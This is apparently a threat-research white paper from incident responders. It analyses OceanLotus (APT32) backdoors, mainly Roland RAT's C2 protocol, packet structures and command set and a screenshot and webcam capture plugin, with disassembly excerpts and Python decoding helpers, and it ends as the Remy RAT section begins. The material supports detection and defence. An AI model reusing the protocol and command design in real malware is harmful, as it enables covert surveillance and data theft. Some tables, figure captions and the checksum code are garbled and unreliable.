## Contents

**Introduction** ................................................................. 4

**Components** .................................................................. 4

**Roland RAT** ................................................................... 4

**Overview** ....................................................................... 4

**Features** ......................................................................... 4

**Behavior** ........................................................................ 5

**C2** .................................................................................. 7

- **Protocol** ..................................................................... 7
- **Commands** ................................................................. 10

**CamCapture Plugin** .......................................................... 14

**Overview** ....................................................................... 14

**Features** ......................................................................... 15

**Exported Functions** .......................................................... 15

- **Screenshot Grabbing Exports** .................................... 15
- **VIDEO Capture Exports** ........................................... 16
- **Helper Exports** .......................................................... 17
- **Unused Exports** ........................................................ 17

**Remy RAT** ..................................................................... 18

**Overview** ....................................................................... 18

**Features** ......................................................................... 18

**Deployment** .................................................................... 18

**Behavior** ........................................................................ 18

**C2** .................................................................................. 23

- **Protocol** ..................................................................... 23
- **Commands** ................................................................. 29

**Splinter RAT** ................................................................. 30

**Overview** ....................................................................... 30

**Features** ......................................................................... 30

**Behavior** ........................................................................ 30

**C2** .................................................................................. 32

- **Protocol** ..................................................................... 32
- **Commands** ................................................................. 33
- **Backdoor Error Codes** ................................................ 34

**CobaltStrike Beacon #1** ......................................................... 35

**Overview** ....................................................................... 35

**Deployment** .................................................................... 36

**Behavior** ........................................................................ 37

**Rizzo** .............................................................................. 39

**Overview** ....................................................................... 39

**Behavior** ........................................................................ 39

**C2** .................................................................................. 41

- **Protocol** ..................................................................... 41
- **Commands** ................................................................. 42

**Denis** .............................................................................. 42

**Overview** ....................................................................... 42

**Behavior** ........................................................................ 42

**Network Intelligence** .......................................................... 45

**167.114.44.146** ................................................................. 45

- **Whois** ...................................................................... 45
- **Domains** ................................................................. 46
- **First seen** ................................................................. 46

**87.117.234.172** ................................................................. 47

- **Whois** ...................................................................... 47
- **Domains** ................................................................. 47
- **First seen** ................................................................. 47

**27.102.67.42** ................................................................. 48

- **Whois** ...................................................................... 48
Introduction

During an incident response investigation in the final quarter of 2017, Cylance® incident responders and threat researchers uncovered several bespoke backdoors deployed by OceanLotus Group (a.k.a. APT32, Cobalt Kitty), as well as evidence of the threat actor using obfuscated CobaltStrike Beacon payloads to perform C2.

The threat actor routinely leveraged PowerShell within the environment, using one-liners to download/deploy malware, as well as obfuscators and reflective PE/shellcode loaders from various exploit kits (including MSFvenom, Veil, and DKMC), allowing much of the malware to operate in-memory, with no on-disk footprint.

The remote access trojans developed by OceanLotus Group (Roland, Remy, and Splinter, named after famous rodents) share subtle code similarities with “Backdoor.Win32.Denis” (Kaspersky), “WINDSHIELD” and “KOMPROGO” (FireEye). Roland was of particular interest in that it was carefully developed to mimic legitimate software DLLs developed by the victim organization.

The malware C2 protocols were largely tailored for each target, and supported a range of communication methods, from raw data over TCP sockets to HTTP/S proxying. In addition, the threat actor relied heavily upon CobaltStrike Beacon for providing malleable C2 communications.

The remaining white paper is dedicated to in-depth technical analysis of the malware, C2 protocols, TTPs, and general observations.

Components

During the investigation, the following backdoors were uncovered:

<table>
<thead>
<tr>
<th>File Name</th>
<th>Classification</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>certcredprovider.dll.mui</td>
<td>Malware/Backdoor</td>
<td>Roland RAT</td>
</tr>
<tr>
<td>underwears.png</td>
<td>Malware/Backdoor</td>
<td>Remy RAT</td>
</tr>
<tr>
<td>wpfgfx_v0300.dll</td>
<td>Malware/Backdoor</td>
<td>Splinter RAT</td>
</tr>
<tr>
<td>plugin.lst</td>
<td>Malware/Infostealer</td>
<td>CamCapture plugin</td>
</tr>
<tr>
<td>user.ico</td>
<td>Malware/Backdoor</td>
<td>Obfuscated CobaltStrike Beacon</td>
</tr>
<tr>
<td>img.png</td>
<td>Malware/Backdoor</td>
<td>Obfuscated named pipe backdoor (from CobaltStrike)</td>
</tr>
<tr>
<td>mobsync.exe</td>
<td>Malware/Backdoor</td>
<td>Rizzo</td>
</tr>
<tr>
<td>varies</td>
<td>Malware/Backdoor</td>
<td>Denis</td>
</tr>
</tbody>
</table>

Roland RAT

<table>
<thead>
<tr>
<th>Classification</th>
<th>Malware/Backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aliases</td>
<td></td>
</tr>
<tr>
<td>Size</td>
<td>245 KB (250,880 bytes)</td>
</tr>
<tr>
<td>Type</td>
<td>Win32 PE (DLL)</td>
</tr>
<tr>
<td>File Name</td>
<td>certcredprovider.dll.mui</td>
</tr>
<tr>
<td>Timestamp</td>
<td>Thu, May 28 2009 13:54:28 UTC (spoofed)</td>
</tr>
<tr>
<td>Observed</td>
<td>April 2017</td>
</tr>
</tbody>
</table>

Overview

Roland arrives as an un-obfuscated Win32 PE DLL. This particular version has been packaged to resemble a legitimate DLL, and contains a custom C2 protocol supporting a range of file, registry, process and memory operations, as well as a reverse shell, FTP file uploads, and retrieving system/user information.

Features

- Mimics legitimate DLL
- Custom C2 protocol
- 37 C2 commands
Behavior

Roland starts by creating a thread that initializes COM and dispatches to the main RAT entry-point, passing parameters supplied by the calling application via the heap:

```assembly
call copy_to_heap
cmp hObject, 0
jnz short exit
__try { // __except at loc_1000C850
push 0 ; lpThreadId
mov [ebp+ms_exc_registration.TryLevel], esi
push 0 ; dwCreationFlags
push esi
push 0 ; int
call 0 ; CoInitialize
push offset rat_main_thread ; int
call rat_main
push 0 ; dwStackSize
call ds:CoUninitialize
push 0 ; lpThreadAttributes }
```

Figure 1: Roland RAT entry-point

The initial configuration supplied to the RAT is a UTF-16 encoded string, using newlines characters ("\n") to separate values in the following format:

<table>
<thead>
<tr>
<th>Hostname/IP</th>
<th>Port</th>
<th>Unused</th>
<th>Victim ID</th>
<th>Connection timeout</th>
</tr>
</thead>
</table>

Figure 2: Configuration format

Note that the configuration is not bundled with the backdoor DLL, and is instead supplied as parameters by the calling application.

Next, the RAT calls the GetAddrInfoW API on the supplied hostname/IP, opens the socket, and connects to the C2 server:

```assembly
push edx ; pInts
xor esi, esi
push eax ; pServiceName
mov ebx, _FAI1
mov [esp+48+var_24], ebx
mov [esp+48+print.int.ai_flags], esi
mov [esp+48+print.int.ai_family], esi
mov [esp+48+print.int.ai_socktype], 1
mov [esp+48+print.int.ai_protocol], 6
mov [esp+48+pResult], esi
call 0 ; GetAddrInfoW
test eax, eax
jnz short loc_10005D19
mov edi, [esp+38+hppResult]
cmp edi, esi
jz short loc_10005D19
mov ecx, ds:socket
mov edi, edi
mov ecx, [edi+4] ; CODE XREF: open_socket_connect+B0fj
push 6 ; protocol
push 1 ; type
push eax ; af
call 0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_10005F4B
mov ecx, [edi+10h]
om edx, [edi+10h]
push ecx ; namelen
push edx ; name
push esi ; s
call ds:connect
```

Figure 3: GetAddrInfoW/socket/connect
At this point, the RAT will attempt to perform a handshake with the server:

```
mov ecx, [esi]
push ebx ; optlen
lea eax, [ebp+optval]
push eax ; optval
push SO_RCVTIMEO ; optname
push 0FFFh ; level
push ecx ; s
call ds:setssockopt
call set_sock_opt
mov ecx, esi
call initial_comms ; send 3b XX D4 86 (where XX is a random byte)
; send 40b 4th element from parameter/resource
; recv 40b byte by byte in a loop
```

Figure 4: C2 handshake

After a successful handshake, the RAT will attempt to receive and process new commands issued by the C2 server in a loop:

```
mov byte_ptr [ebp+var_4], 1
call c2_receive_command
mov edi, eax
cmp edi, esi
jl short failed
mov edx, [ebp+cmd_params]
mov ebx, [ebp+cmd_code]
lea ecx, [ebp+cmd_ret_buf]
push ecx ; ret_buf
push edx ; cmd params
push ebx ; cmd_code
lea edx, [ebp+cmd_params_len_then_ret_code] ; command return code
lea ecx, [ebp+cmd_ret_len] ; pointer
mov [ebp+cmd_params_len_then_ret_code], esi
mov [ebp+cmd_ret_len], esi
mov [ebp+cmd_ret_buf], esi
call c2_run_command
add esp, 6Ch
test eax, eax
js short failed
mov ecx, [ebp+cmd_ret_len]
lea eax, [ebp+some_ptr]
push eax ; some_ptr
push ecx ; response_len
push ebx ; cmd_code
mov ebx, [ebp+cmd_ret_buf]
lea edx, [ebp+c2_struct]
push edx ; c2_struct
mov edx, [ebp+cmd_params_len_then_ret_code] ; int
mov ecx, ebx ; int
call c2_send_response
```

Figure 5: C2 command loop
C2 Protocol

The Roland C2 protocol is relatively simple, employing a simple handshake and a common header packet prior to all request/response payloads:

![C2 protocol overview](image)

Figure 6: C2 protocol overview

Checksums are loosely based on the MS-PST CRC32 algorithm, but require only the first four tables:

```python
def checksum(buffer, crc32=0xffffffff):
    offset = 0
    for i in range(0, len(buffer) % 4):
        crc32 = CRC32.Offset32((struct.unpack("B", buffer[offset:offset+1]))[0] ^ crc32) & 0xff ^ (crc32 >> 8)
        offset += 1
    for i in range(0, len(buffer) / 4):
        offset += 4
    return ~crc32 & 0xffffffff
```

Compression is performed using zlib (with the library containing the string "Fast decoding Code from Chris Anderson"), and can be inflated using the following code:

```python
def decompress(data):
    """Decompress using zlib""
    decompress = zlib.decompressobj()
    inflated = decompress.decompress(data)
    inflated += decompress.flush()
    return inflated
```

Request/response data is trivially encoded using byte level XOR with a key of 0xC7.
The initial handshake occurs when the RAT starts, and comprises a 3-byte magic sent from the client to the server (the first byte is random), followed by a 64-byte victim ID. The server then responds with a 64-byte payload (sent byte-by-byte), assumed to be a session ID (this is not verified by the client):

![Handshake](image)

After a successful handshake, the attacker is free to start issuing commands. A 100-byte header specifies the size of the following data, as well as the checksum. XOR encrypted command data is sent next (at least 160-bytes), containing the command ID, lengths, checksums, and any parameters:

![C2 request header and encoded request data](image)

```
typedef struct _C2_HEADER
{
    unsigned char Padding[20]; /* Can be null */
    unsigned long SizeOfData; /* Size of next packet (C2_REQUEST_DATA/C2_RESPONSE_DATA) */
    unsigned long ChecksumOfData; /* Checksum of next packet (C2_REQUEST_DATA/C2_RESPONSE_DATA) */
    unsigned char SessionId[64]; /* Possibly contains a copy of the session ID */
    unsigned long Magic; /* Can be null for requests, 0x005A15E9 for response */
    unsigned long Trailing; /* Can be null */
} C2_HEADER, *PC2_HEADER;
```

![C2 header structure](image)
typedef struct _C2_REQUEST_DATA
{
    unsigned char Padding[132]; /* Can be null */
    unsigned long CommandId; /* eg. 0x5B (volume_info) */
    unsigned long Unused;
    unsigned long ParametersLength; /* Length of Parameters[] */
    unsigned long UnpackedParametersLength; /* If != ParametersLength then use zlib */
    unsigned long ParametersCrc; /* Checksum of Parameters[] */
    unsigned long UnpackedParametersCrc; /* Checksum of decompressed Parameters[] */
    unsigned long HeaderCrc; /* Checksum of preceding 0x9c bytes */
    unsigned char Parameters[]; /* Parameters as UNICODE string or compressed with zlib */
} C2_REQUEST_DATA, *PC2_REQUEST_DATA;

Figure 10: C2 request structure

The RAT will process the command before sending a response to the server comprising another header, followed by the response data, which contains the lengths, checksums, and response data (possibly zlib compressed):

```
00000043 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ....... 0...
00000053 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ....F....50...
00000063 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       .............
00000073 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       .............
00000083 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       .............
00000093 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       .............Z.
000000a3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ....
000000a7 b1 ae a4 b3 ae aa f6 c7 c7 c7 c7 c7 c7 c7 c7    ............
000000b7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
000000c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
000000d7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
000000e7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
000000f7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
00000107 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
00000117 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7 c7    ............
00000127 40 c3 c7 c7 7f c6 c7 c7 c7 c7 c7 c7 c7 c7 c7    ..............@...
00000137 a5 b4 c7 c7 d0 09 8a b5 a2 2c 93 a1 64 2e fa 81    .............d...
00000147 bf 1d 2a 1a 0c 8d 04 87 df 41 28 68 a0 44 67 .*...A&h...Dg
00000157 17 62 c9 d3 03 8f 7f cc 4d 6c 6d 02 0d 62 ce 53 .b...O..Mm...S
00000167 1f 11 c5 31 03 d4 72 e9 9b bc fc bd c8 e9 1b bc .2...f....
00000177 86 3d 2c 2f 61 8c 7d f5 21 b4 a7 f5 40 8b 75 df .2,a}.!...@.u.
00000187 9d 39 8e f5 8a 50 cc 15 65 e3 a0 bd 9c 56 21 5b .9...P..e....V![
```

Figure 11: C2 response header and encoded response data

typedef struct _C2_RESPONSE_DATA
{
    unsigned char VictimId[64];
    unsigned char SessionId[64];
    unsigned long BotVersion; /* 0x487 */
    unsigned long CommandId; /* eg. 0x5B (volume_info) */
    unsigned long ErrorCode; /* Command error code */
    unsigned long DataLength; /* Length of Data[] */
    unsigned long UnpackedDataLength; /* Unpacked length of Data[] */
    unsigned long DataCrc; /* Checksum of Parameters[] */
    unsigned long UnpackedDataCrc; /* Checksum of decompressed Data[] */
    unsigned long HeaderCrc; /* Checksum of preceding 0x9c bytes */
    unsigned char Data[]; /* Response, compressed using zlib */
} C2_RESPONSE_DATA, *PC2_RESPONSE_DATA;

Figure 12: C2 response header
The following commands were supported by the version of Roland analyzed:

<table>
<thead>
<tr>
<th>Command</th>
<th>Code (Hex/Decimal)</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>network_info</td>
<td>0x000f</td>
<td>015</td>
<td>N/A</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Return information about all servers in the victim's domain (server name, type, version, platform ID)</td>
</tr>
<tr>
<td>unpack_decrypt_file</td>
<td>0x003d</td>
<td>061</td>
<td>file_path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Extract files from an encrypted archive using modified version of zlib library</td>
</tr>
<tr>
<td>create_or_open_file</td>
<td>0x0045</td>
<td>069</td>
<td>password</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Create or open specified file, return the file handle</td>
</tr>
<tr>
<td>list_rar_archive</td>
<td>0x0055</td>
<td>085</td>
<td>path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List the content of a RAR archive; return file name, modification times, size</td>
</tr>
<tr>
<td>volume_information</td>
<td>0x005b</td>
<td>091</td>
<td>desired_access</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Return information about mounted volumes (remote name, drive type, size, free space, filesystem)</td>
</tr>
<tr>
<td>reg_enum_value</td>
<td>0x0067</td>
<td>103</td>
<td>creation_disp</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Enumerate specified registry key</td>
</tr>
<tr>
<td>list_files_1</td>
<td>0x006f</td>
<td>111</td>
<td>share_mode</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List files in specified directories; return file name, size, modification times, and attributes</td>
</tr>
<tr>
<td>check_shell_link</td>
<td>0x0080</td>
<td>128</td>
<td>path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Get path and file name of the target of specified shell link object</td>
</tr>
<tr>
<td>run_dll</td>
<td>0x0090</td>
<td>144</td>
<td>N/A</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Load a DLL and execute specified export; the parameter is a pointer to path and export name strings in the process memory</td>
</tr>
<tr>
<td>reg_enum_value</td>
<td>0x0067</td>
<td>103</td>
<td>regpath</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Enumerate specified registry key</td>
</tr>
<tr>
<td>list_files_1</td>
<td>0x006f</td>
<td>111</td>
<td>path_1 ... path_n</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List files in specified directories; return file name, size, modification times, and attributes</td>
</tr>
<tr>
<td>check_shell_link</td>
<td>0x0080</td>
<td>128</td>
<td>link_path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Get path and file name of the target of specified shell link object</td>
</tr>
<tr>
<td>run_dll</td>
<td>0x0090</td>
<td>144</td>
<td>memptr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Load a DLL and execute specified export; the parameter is a pointer to path and export name strings in the process memory</td>
</tr>
<tr>
<td>ftp_upload</td>
<td>0x00aa</td>
<td>170</td>
<td>server port user pwd new_fname org_fname</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Upload specified file to the FTP server using credentials passed as parameters</td>
</tr>
<tr>
<td>terminate</td>
<td>0x00c7</td>
<td>199</td>
<td>N/A</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Terminate the RAT</td>
</tr>
<tr>
<td>get_tcp_table</td>
<td>0x0164</td>
<td>356</td>
<td>memptr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Retrieve a list of TCP connections; the parameter is a pointer to a memory buffer that will receive this information</td>
</tr>
<tr>
<td>create_process</td>
<td>0x0178</td>
<td>376</td>
<td>exepath commandline</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Execute specified application</td>
</tr>
<tr>
<td>move_file</td>
<td>0x017f</td>
<td>383</td>
<td>src_path dst_path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Move file from source path to the destination</td>
</tr>
<tr>
<td>list_zip_archive</td>
<td>0x01b3</td>
<td>435</td>
<td>zip_path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List the content of a ZIP archive; returns file name and sizes</td>
</tr>
<tr>
<td>get_system_info</td>
<td>0x01b8</td>
<td>440</td>
<td>N/A</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Retrieve system information such as user name, computer name, OS version, several special folders paths, time and time zone details, etc.</td>
</tr>
<tr>
<td>Command</td>
<td>Code (Hex/Decimal)</td>
<td>Parameters</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------------</td>
<td>-------------------</td>
<td>------------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>sh_copy_file</td>
<td>0x01d5</td>
<td>469 file_to files_from</td>
<td>Copy files from specified list (file paths separated by &quot;\t&quot;) to a specified path</td>
</tr>
<tr>
<td>sha512</td>
<td>0x01d6</td>
<td>470 path</td>
<td>Calculate SHA512 of the specified file</td>
</tr>
<tr>
<td>mkdir</td>
<td>0x01e2</td>
<td>482 path</td>
<td>Create specified directory</td>
</tr>
<tr>
<td>list_open_files</td>
<td>0x01e3</td>
<td>483 N/A</td>
<td>List the names of all opened files, together with their handles</td>
</tr>
<tr>
<td>exec_cmd</td>
<td>0x01f0</td>
<td>496 commandline</td>
<td>Execute shell command</td>
</tr>
<tr>
<td>list_files_2</td>
<td>0x0209</td>
<td>521 path_1 ... path_n</td>
<td>List files from specified directories recursively; return file name, size, and attributes</td>
</tr>
<tr>
<td>write_current_proc_mem</td>
<td>0x021c</td>
<td>540 memptr_baseaddr memptr_size memptr_buffer</td>
<td>Write current process memory at provided address with data from memory pointed by the provided pointer</td>
</tr>
<tr>
<td>compress_encrypt_files</td>
<td>0x0230</td>
<td>560 archive_name passwd files_list max_size</td>
<td>Add files from specified list to an encrypted archive; the archive format is customized and uses zlib compression and AES encryption; maximum size of a file can be specified</td>
</tr>
<tr>
<td>close_handle</td>
<td>0x0255</td>
<td>597 memptr_handle</td>
<td>Close file; parameter contains a pointer to a valid object handle</td>
</tr>
<tr>
<td>read_current_proc_mem</td>
<td>0x0260</td>
<td>608 memptr</td>
<td>Read current process memory</td>
</tr>
<tr>
<td>virtual_alloc</td>
<td>0x0262</td>
<td>610 base_address size allocation_type protect</td>
<td>Allocate memory buffer in the current process memory</td>
</tr>
<tr>
<td>sh_delete_file</td>
<td>0x0284</td>
<td>644 fname_1 ... fname_n</td>
<td>Delete specified files</td>
</tr>
<tr>
<td>virtual_free</td>
<td>0x02bf</td>
<td>703 memptr</td>
<td>Free allocated memory buffer</td>
</tr>
<tr>
<td>read_file</td>
<td>0x02c6</td>
<td>710 memptr</td>
<td>Return content of specified file; the parameter is a pointer to memory that contains file handle and number of bytes to read</td>
</tr>
<tr>
<td>screenshot</td>
<td>0x0360</td>
<td>864 image_path image_size</td>
<td>Take a screenshot and merge it with specified image before sending it back to the C2</td>
</tr>
<tr>
<td>write_file</td>
<td>0x0368</td>
<td>872 memptr</td>
<td>Write specified file with specified content; the parameter is a pointer to memory that contains file handle, size, and pointer to a buffer to write</td>
</tr>
<tr>
<td>find_files_1</td>
<td>0x036a</td>
<td>874 path pattern max_size</td>
<td>Find files matching specified pattern in specified directory (recursive; return file name, size, and attributes)</td>
</tr>
<tr>
<td>set_file_pointer</td>
<td>0x0372</td>
<td>882 memptr</td>
<td>The parameter is a pointer to memory buffer containing parameters for SetFilePointer function (file handle, distance to move, and mode)</td>
</tr>
<tr>
<td>set_file_attr_and_time</td>
<td>0x03b4</td>
<td>948 path attributes timestamp</td>
<td>Set attributes and access times of specified file to attacker supplied values</td>
</tr>
<tr>
<td>Command</td>
<td>Code (Hex/Decimal)</td>
<td>Parameters</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------</td>
<td>-------------------</td>
<td>---------------------</td>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td>get_short_path_name</td>
<td>0x03c0</td>
<td>960</td>
<td>Returns short path for provided file path</td>
</tr>
<tr>
<td>find_files_2</td>
<td>0x03dd</td>
<td>989</td>
<td>Find files matching specified pattern and return their access times; non-recursive</td>
</tr>
<tr>
<td>enum_shares</td>
<td>0x03df</td>
<td>991</td>
<td>List names of shared resources on specified server</td>
</tr>
</tbody>
</table>

Figure 13: exec_cmd running ipconfig
Figure 14: Information collected by `get_system_info` command

Figure 15: Custom archive file
**CamCapture Plugin**

<table>
<thead>
<tr>
<th>Classification</th>
<th>Malware/Infostealer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size</td>
<td>118KB (120320 bytes)</td>
</tr>
<tr>
<td>Type</td>
<td>Win32 PE (DLL)</td>
</tr>
<tr>
<td>File Name</td>
<td>plugin.lst</td>
</tr>
<tr>
<td>Timestamp</td>
<td>Wed, 24 Oct 2007 04:23:10 UTC (spoofed)</td>
</tr>
<tr>
<td>Observed</td>
<td>November 2017</td>
</tr>
</tbody>
</table>

**Overview**

This Win32 PE DLL arrives in a partially obfuscated form with its entry point obscured by garbage opcodes, useless instructions, and non-linear code flow:

```
.DllEntryPoint proc near

.var_57 = byte ptr -57h
    jmp short call_crt_startup
    push ebp
    mov ebp, esp
    cmp dword ptr [ebp+8Ch], 1
    js a short call_crt_startup
    call init_cookie
    jmp short call_crt_startup

;------------------------------------------
; CODE XREF: DllEntryPoint+9
;------------------------------------------
init_cookie:
    jmp __security_init_cookie
    jmp __security_init_cookie

;------------------------------------------
; CODE XREF: DllEntryPoint+91j
;------------------------------------------

call_crt_startup:
    push dword ptr [ebp+10h] ; reserved
    push dword ptr [ebp+8Ch] ; reserved
    call call_dll_main_crt_startup

;------------------------------------------
; CODE XREF: DllEntryPoint+99b
;------------------------------------------
```

Figure 16: Obfuscated entry point

It exports several functions that can possibly be invoked with the use of Roland backdoor’s run_dll command.

```
Name          | Address   | Y | Dword |
--------------|-----------|---|-------|
FC1TurnOfCabinet | 10000050  | 12 | 10    |
FC1Folder      | 10000010  | 4  | 10    |
FC1AddFile     | 10000010  | 3  | 10    |
FC1FlushFolder | 10000280  | 7  | 10    |
FC1Create      | 10000280  | 6  | 10    |
FC1Delete      | 10000220  | 5  | 10    |
FC1Create       | 10000780  | 9  | 10    |
FC1Delete      | 10000780  | 11 | 10    |
FC1Create       | 10000780  | 10 | 10    |
FC1Delete      | 10000780  | 8  | 10    |
FC1Create       | 10000780  | 2  | 10    |
FC1Delete      | 10000780  | 14 | 10    |
FC1Create       | 10000780  | 13 | 10    |
FC1Delete      | 10000780  | 15 | 10    |
FC1Create       | 10000780  | 13 | 10    |
FC1Delete      | 10000780  | 14 | 10    |
FC1Create       | 10000780  | 1  | 10    |
FC1Delete      | 10000780  | 1  | 10    |
```

Figure 17: Threat actor command to download and install Remy
Most of these exports provide various screenshot and video capture functionality.

**Features**
- 10 functioning exports and five additional “template” exports
- Main functionality is to grab desktop screenshots and record webcam video
- Use of Microsoft Media Foundation (Mf.dll) and Video For Windows (avicap32.dll)

**Exported Functions**
Each function, besides FDITruncateCabinet and FDICopy, takes the following arguments:

- Pointer to Unicode string with parameters in a “-INT” format (eg. for sleep_timeout and quality: “-1200 -100”)
- Pointer to memory that will receive address of the buffer with captured image stream
- Pointer to memory that will receive size of the capture buffer

The quality, show_wnd, and sleep_timeout parameters are optional and default to: 0x32, 0, 0 respectively. If show_wnd_bool is set, it will call ShowWindow in case the window is minimized.

### Screenshot Grabbing Exports

<table>
<thead>
<tr>
<th>Name</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FCICreate</td>
<td>quality</td>
<td>Grab screenshot of desktop window</td>
</tr>
<tr>
<td>FCIAddFile</td>
<td>quality</td>
<td>Grab screenshot of foreground window</td>
</tr>
<tr>
<td>FCFIShadowFolder</td>
<td>hWnd, quality, show_wnd, sleep_timeout</td>
<td>Grab screenshot of specified window</td>
</tr>
<tr>
<td>FCDestroy</td>
<td>x1, y1, cx, cy, quality</td>
<td>Grab screenshot of specified rectangle in the foreground window</td>
</tr>
<tr>
<td>FDICreate</td>
<td>hWnd, x1, y1, cx, cy, quality, show_wnd, sleep_timeout</td>
<td>Grab screenshot of specified rectangle in the specified window</td>
</tr>
</tbody>
</table>

These exports use a subset of GDI32 APIs to create a screenshot of the victim’s desktop or a specified window.

```assembler
mov [ebp+csldEncoder], eax
xorps xmm0, xmm0
movq [ebp+var_2C], xmm0
mov [ebp+var_34], eax
mov edx, edi
mov ecx, ebx
call call_GdiCreateBitmapFromGdiB
mov edi, eax
test edi, edi
jz loc_10005505
lea edx, [ebp+csldEncoder]
call call_GdiGetImageEncoders ; image/jpeg
mov [ebp+encoder_parameter_count], 1
movq xmm0, qword ptr ds:encoder_quality_guid.Data1
movq [ebp+enc_quality_guid_1], xmm0
movq xmm0, qword ptr ds:encoder_quality_guid.Data4
movq [ebp+enc_quality_guid_2], xmm0
mov [ebp+nr_of_values], 4
mov [ebp+type], 1 ; byte
mov eax, [ebp+encoding_param]
cmp eax, 64h
jl short loc_1000548B
test eax, eax
jnz short loc_10005495

; CODE XREF: save_img_to_stream_read_stream+F81j
mov [ebp+encoding_param], 32h
; CODE XREF: save_img_to_stream_read_stream+FC1j
lea eax, [ebp+encoding_param]
mov [ebp+enc_param_values_cp], eax
mov [ebp+ppstm], 0
lea eax, [ebp+ppstm]
push eax ; ppstm
push 1 ; fDeleteOnRelease
push 0 ; hGlobal
call dx:CreateStreamOnHandle
```

Figure 18: Screenshot functionality
### VIDEO Capture Exports

<table>
<thead>
<tr>
<th>Name</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FDIIsCabinet</td>
<td>sleep_timeout, quality</td>
<td>Creates a thread that will capture video using VFW - Video For Windows (avicap32.dll)</td>
</tr>
<tr>
<td>FDIDestroy</td>
<td>sleep_timeout, quality</td>
<td>Creates a thread that will capture video using MF - Microsoft Media Foundation (Mf.dll)</td>
</tr>
</tbody>
</table>

The video capture functionality is based on two different implementations, one using Video For Windows, and the other using MS Media Foundation.

![Figure 19: VFW-based video capture](image)

![Figure 20: MF-based video capture](image)
### Helper Exports

<table>
<thead>
<tr>
<th>Name</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FDITruncateCabinet</td>
<td>none</td>
<td>Return 0xE42 (possibly the plugin version)</td>
</tr>
<tr>
<td>FDCopy</td>
<td>none</td>
<td>Enumerate video capture drivers</td>
</tr>
</tbody>
</table>

```c
public FDITruncateCabinet
FDITruncateCabinet proc near
    mov     eax, 0E42h
    retn
FDITruncateCabinet endp
```

**Figure 21: Get version**

```c
enum_drivers:
    mov     {ebp+driver_index}, esi
    cmp     esi, 0Ah
    jge    short loc_10003FA4
    push    100h
    ; size_t
    push    0
    ; int
    lea     eax, [ebp+szName]
    push    eax
    ; void *
    call    _memset
    push    100h
    ; size_t
    push    0
    ; int
    lea     eax, [ebp+szVer]
    push    eax
    ; void *
    call    _memset
    add     esp, 18h
    push    100h
    ; cbVer
    lea     eax, [ebp+szVer]
    push    eax
    ; lpstrVer
    push    100h
    ; cbName
    lea     eax, [ebp+szName]
    push    eax
    ; lpstrName
    push    esi
    ; wDriverIndex
    call    ebx ; capGetDriverDescriptionW
    test    eax, eax
    js      short loc_10003F90
    inc     edi
    mov     [ebp+driver_counter], edi
loc_10003F90:
    inc     esi
jmp      short enum_drivers
```

**Figure 22: Enumerate drivers**

### Unused Exports

The following functions call nothing besides the routine that parses the parameters; they possibly constitute a template function for further functionalities not yet implemented:

- CreateCompressor – template code for function with one parameter
- SetCompressorInformation – template code for function with two parameters
- QueryCompressorInformation – template code for function with three parameters
- ResetCompressor – template code for function with four parameters
- CloseCompressor – template code for function with five parameters
Remy RAT

<table>
<thead>
<tr>
<th>Classification</th>
<th>Malware/Backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aliases</td>
<td>WINDSHIELD (FireEye)</td>
</tr>
<tr>
<td>Size</td>
<td>355 KB (364,353 bytes)</td>
</tr>
<tr>
<td>Type</td>
<td>PowerShell/Shellcode/Win32 PE (DLL)</td>
</tr>
<tr>
<td>File Name</td>
<td>underwears.png</td>
</tr>
<tr>
